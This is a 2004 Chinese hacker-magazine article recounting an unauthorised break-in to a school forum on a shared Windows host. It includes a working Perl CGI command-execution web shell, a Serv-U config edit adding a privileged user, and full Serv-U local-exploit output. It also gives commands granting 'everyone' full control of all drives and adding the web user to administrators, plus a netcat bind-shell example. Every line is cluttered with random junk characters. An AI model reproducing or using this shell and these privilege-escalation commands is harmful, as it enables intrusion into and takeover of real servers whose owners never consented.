剑走偏锋——灵巧的旁注攻击
2 e0 l6 b: a- k0 i5 z! H7 i3 U本文作者:angel
+ o$ H5 F3 H: |! D6 j" Q% E& [文章性质:原创+ w- j( y8 g4 _+ w8 o" a* M2 d y
发布日期:2004-11-09 7 T2 y) l: ?( c9 T: J
注意:( M0 h& A s0 D& J7 C) O
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。' D7 X2 ]: T3 \ G
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
6 A* u) g! m8 N, [3 b2 O, r) Z' P. c) I: c9 H# {& }1 D/ f5 s+ U6 A' V
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 ^9 X2 ?8 W. f+ \* O
" N W+ P0 j. K& q) ^2 G# u# U
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
( A0 }; W1 m$ a6 K7 O
; m( C1 W4 k+ L# G 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 6 e7 H: c8 w( @9 n2 N) Q
: d% F/ \4 ~$ u9 O. P4 |9 m 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 " z1 o4 P, k: K' B$ A1 P
) V+ x0 g5 x. r; X
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
( p! }* y3 W7 B# C; ]; C+ S g, S0 ]% Y( j+ p
没有目的的跳转目录着……
! T# c& F- K5 Z# g1 x: A3 L+ f0 Y3 }' K- \: S5 {: X, D# U0 ^
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
, L% M& P" F/ o7 V, n) y* {! [5 B g- l
结束了吗?不,我试着 FTP 一下: 9 v8 e5 R# k$ X& l) L* \% ^
- P4 F; d' n) p4 N m- \
Microsoft Windows 2000 [Version 5.00.2195]8 S. P9 q& x- P( z( _/ q
(C) 版权所有 1985-2000 Microsoft Corp.
/ I" n6 Q [' C' a) t- D, f5 I9 v& h, ^1 N6 o" C
C:\Documents and Settings\Administrator>ftp www.school.com
{2 \ W3 {% m4 X7 qConnected to www. school.com. * t% F8 x; H- u6 `+ |: g" f
220 Welcome to FTP Server... # m6 c, Q: r }) l5 ]
User (www.bjtrq.com:(none)): 5 l+ @6 E: q9 m9 s- S
331 User name okay, need password.
" [" k" B' M& Y5 j5 gPassword:
\6 B9 a$ R v. c' J6 `530 Not logged in.
0 w& z; {* ?% zLogin failed. " h/ x5 B5 G* m+ z5 Q
ftp> bye
. S. ^0 u7 j" P7 E9 m S' b" [221 Goodbye! ; Q7 U7 v* ^: b1 y
, `0 k) U7 T+ R8 F4 X
6 z9 c) Y1 C5 y 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 1 X+ |# @( w7 u- U+ j0 S: o
5 X% I9 K7 V+ z* c
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
& S, o7 B' T) R
0 _; y& o! `% i1 A( p! ^9 IApplication Data/ y) e/ y! t- ^+ z& X* |% Y
Documents
0 [1 G5 {/ q6 ?; D [7 v. H8 VDRM$ r# X+ \0 ]8 h/ J: O4 S
Favorites$ h6 U1 o1 j. X( p
Templates
2 [) h# U5 e$ Z3 J「开始」菜单& [4 ~2 q/ m1 C! @$ r Q
桌面4 O$ v' _2 ~! A
* e4 d' Z. c& `( M8 ?2 I
3 I3 f; ?" `2 u6 m 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
& e0 c4 c" k7 i2 \, v) _ \% B* S) _( s4 F# i( Q7 k
ActiveState ActivePerl 5.8& h3 @ w( c4 q- d9 Y9 l+ a
Administrative Tools [( w& m% q4 r0 i, A) S
Deerfield.com
/ s; m& s: F) K9 ^; nDTemp
, o8 U* H1 v! z3 G/ Y+ I7 A4 MIPSentry
" z9 n+ H# Q4 f: Y& t2 v0 VMBM 5" Q9 D$ {* v7 e
NetMeter, B. x2 o" q/ Q* q! c2 I4 b
Network ICE
' X, `+ Q+ d6 [# L: k" S* }2 aPersits Software AspEmail
6 X5 A5 L4 [/ \- `Persits Software AspJpeg
1 ^* \! T8 W8 KServ-U FTP Server
( r& E2 ]; t" l: _6 YSymantec Client Security
1 m% R4 Q8 ?: k0 y8 c$ cWindows 优化大师
0 n9 c" |1 G& h: k+ J. s: MWinRAR
- |- S, m( S) l+ y' I1 O启动
3 M( N# Y0 `& W, G管理工具6 a- x9 H- t# p2 M. L7 k5 @
附件
4 }. y" X* @) M# c' B/ @. C+ S 9 R+ l2 q/ F& n6 [* |! f$ a( A( @
, P, y: \! B1 `9 k7 i, \8 V 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 - C0 y# a. D+ {# Z
! w; J1 m) n: D- b$ v8 c: N
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: # ~3 x" u0 s0 |* F
& K5 H4 Z7 q% V1 |User281=angel|1|0 4 n/ Z, E3 _8 T- z _ X* H
3 ^- V0 w# z. L4 l# |- T
" B# Y! z" |( G, p
然后加上
: b5 c4 ^! d O/ v- ^3 H. P
# Z- x& @8 z/ ]8 A3 J[USER=angel|1]
' Q5 E0 n3 a1 X7 Q0 [. APassword=ng98F85379EA68DBF97BAADCA99B69B8052 l p o) G1 Y& I
HomeDir=D:\websites
8 a0 U4 U8 {' b5 CRelPaths=1/ ^* u/ w+ {2 C: n
TimeOut=600
2 K# L2 a2 S. S4 C' d9 rMaintenance=System
5 f/ _6 [$ z: g. VAccess1=D:\websites|RWAMELCDP
1 B4 b' E2 Z3 s0 a- t7 l" w5 b2 LSKEYValues=9 G, B) Z2 b! {. }! j' {
! d3 ^' P/ `. ^3 y0 n c! c! y7 u( T- O+ K- W* s4 z: |- K1 o
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 5 ]# c1 Y; ~7 w! f' K, B
9 e- ?3 X- W3 ^
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
& ~$ z& h5 q% x8 a8 K
K, S" g6 o& h; N3 V1 _/ U 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
& z/ f5 t* A6 K5 Z# R& h
1 s. n/ b5 |- ?8 ~ 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 7 j5 y* S2 @2 d; z! G" E$ K
1 k$ [1 A, ?1 ?( z; M& t" X6 D
#!/usr/bin/perl
* U2 V1 a2 o2 s: k" rbinmode(STDOUT);- y' C5 r9 h& G. c5 E# B! M4 k
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27); W# r1 H) ~9 C) ^
$_ = $ENV{QUERY_STRING};2 |( j& k' ^$ y) W
s/%20/ /ig;
* R( h; C! F/ M" _! Q$ a4 @s/%2f/\//ig;8 b S* s" P7 ^0 I. T4 e6 H
$execthis = $_;
# K2 Z, B8 c: p% T2 U& Dsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);/ P) A& K: }3 u& Q; d7 ]' E
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
. `9 U, V4 Z2 Jsystem($execthis);
1 `2 T) V* b" fsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);7 W; I l; [7 E& T
close(STDERR);
7 Y* @. C4 J3 [% d0 l' i9 X. m9 Eclose(STDOUT);
+ Y- B& b5 G5 Y* W* j3 Eexit;
8 l+ a/ P. } S# s8 `" U % ?+ ^/ T& N% F5 X5 l% |+ `1 c$ \4 x
( T: p" Z6 S. g5 m; H 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 4 E, [, i' R' P; K6 Q- Z- z
/ g4 r% ?( q1 b- f( M; |
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
! L. G. @- B$ g
- K! B6 \& f+ r/ i, Whttp://anyhost//cmd.pl?d:\user\bin\su.exe
. J, x r- M. h 4 O) l% m5 D7 a* B) P4 A& Z/ E
0 s% y( h' B y$ @ 返回: 1 s: h3 Z& [: K
% [9 ~/ k, @/ VServ-u >3.x Local Exploit by xiaolu 8 [8 f P" ?8 N/ `
2 z. B" | u3 G5 ] z9 Y7 i7 v, b
USAGE: serv-u.exe "command"
8 n4 p9 u( S# p5 g' g! M" u6 L
( {5 m _& A- e& c9 e9 D* _: GExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
* V) e4 ?* ?+ l5 F
8 \/ z$ d5 {* n4 z# t, d, a
) w7 ~7 k8 m1 s3 X* M" E 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
8 P( q* U0 h5 m3 ]3 K8 H4 j$ F5 T6 n3 V! J K/ {
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
' g* ?7 v: Y) n7 b7 O0 e' J: z3 z5 N5 ~% R
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 5 w7 E2 k6 B% k, ]1 Z2 a( Q5 y
4 Y' X5 g0 P8 j8 W$ ~1 ?http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
+ O1 D& Q& I7 }9 \ S4 }! W3 C1 N L" Z3 r$ j# m9 @9 E# [
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" ) {% n% p0 K- j1 x, x, T" b1 }
% D E) Y- l; j
S( o) b P; Q( k% N9 m 返回下面的信息,就表示成功了!!! 4 ?$ r, w' d5 \) ]: {
2 D' B5 _$ t) x+ F
Serv-u >3.x Local Exploit by xiaolu
$ A4 r7 Q! h$ d1 C$ a5 `" ^
0 ?% S' B; O6 w; ~0 p- ?/ z4 n/ ~<220 Serv-U FTP Server v5.2 for WinSock ready...
8 z1 t- ]# j9 L" l' U2 u- j) g2 J- D
>USER LocalAdministrator # `9 E1 a3 F* ?2 y' g! p$ ^: R! W5 N
' C& @% X1 G3 I- R9 E<331 User name okay, need password. ; L5 S: r( @7 A4 e, f9 A
% y5 F7 X8 y/ @8 |% ~" T: }3 t; g
****************************************************** ' {9 z7 i; u( Q, q" Z
1 t: \7 N9 r; {
>PASS #l@$ak#.lk;0@P
; G+ V* V3 ~4 e: N7 @$ D& w" b- U# Q8 s1 N
<230 User logged in, proceed. 8 O6 ]( N: [3 S# v3 C, u
" |5 b2 ~% s- ^4 O
****************************************************** 7 P5 M$ Y& K, l0 z- ^) X8 C
9 l. e, P1 a5 e>SITE MAINTENANCE
& p# F& h; d2 q7 O" i# Q7 q% ?9 Z& u1 N/ E! ^, [% d- d
******************************************************
# N! T5 U% m; a8 i
% I. y# i1 `) \3 Q n[+] Creating New Domain... 7 c2 v7 N6 L* H! L" K
5 c' H; t# I, d$ K% K$ S4 v<200-DomainID=2 8 N- o6 P% `# I. _8 Z
: j8 q, k `! W" K) f1 D
<220 Domain settings saved 6 Z2 c `/ H+ e: S1 k
: E5 J3 O2 |7 s****************************************************** . [, v; i( B( b( }. x* j
2 @1 ~9 o. J7 J: S0 K[+] Domain xl:2 Created ; E) A5 c/ c- d- p. {2 ` `
( Y5 R6 H* j! ~7 y3 {, b4 ?4 S
[+] Creating Evil User : `8 Q5 I+ k8 L n
2 B# e( @( m- f% W+ m/ z: k: n: F<200-User=xl 7 D* u9 s5 n9 S4 n9 ]$ P) A8 Q& `
! h' I/ R0 T+ T& w200 User settings saved 1 x3 M# b) z% @
, Z8 ?) {8 a5 H******************************************************
4 c5 K. b3 k: u
) Q% O6 t+ r2 Q8 F0 e/ Z[+] Now Exploiting...
8 t5 E8 I7 c# n; P$ v+ ]
: _& ~; a: K5 E$ t1 m% \>USER xl
/ y2 S8 e1 U' ]/ w( _+ H1 t# H ]7 |; O6 o# q. E0 f
<331 User name okay, need password.
Z, k; j( S" g) \9 d8 ?% k& H* H, J) E6 E4 ] ^- a) w
****************************************************** 8 }" c% w! @2 E) Q0 r4 }
1 S7 s" t* `9 k0 q+ q+ Q
>PASS 111111 * j% O+ M$ t! i& r- U! B
5 A# ` `: M; B% ^' {: w<230 User logged in, proceed. / `: W! |, _3 W+ x) K- I7 V/ @
3 E* |- ]1 c; b% a' t* s) J8 U
******************************************************
; ~ X) u* n$ k* I$ H @5 A; A. V) c: P1 V
[+] Now Executing: cacls.exe c: /E /T /G everyone:F / K6 ~% K9 \9 ]4 L D1 S3 W
5 N0 Q* f' n) r2 U
<220 Domain deleted ! _+ J" {/ f: ?/ L/ J
3 r! T# W: J2 b; d: B2 P
******************************************************
5 @( `, j/ k' f$ R $ E. j0 {% Z) J, Z
& z+ L: A+ M" K4 w3 C 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
( G% ]5 b. c) i9 W) ~0 z9 \; S5 p+ w& s/ V( z# x
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
7 m4 T) F* }9 {2 _ 7 A3 r) s& U" g* C
1 D7 G# ~" H- g4 j
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 6 x" F! S" x9 D( l0 A) {9 E6 Q
+ k. k. B) P' {8 p: g7 d/ i8 q' {
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。 D5 x2 o4 E E" u& m! Y `
2 }) [8 l- x2 g$ x) k
3 e/ z q' X( x7 c* E
|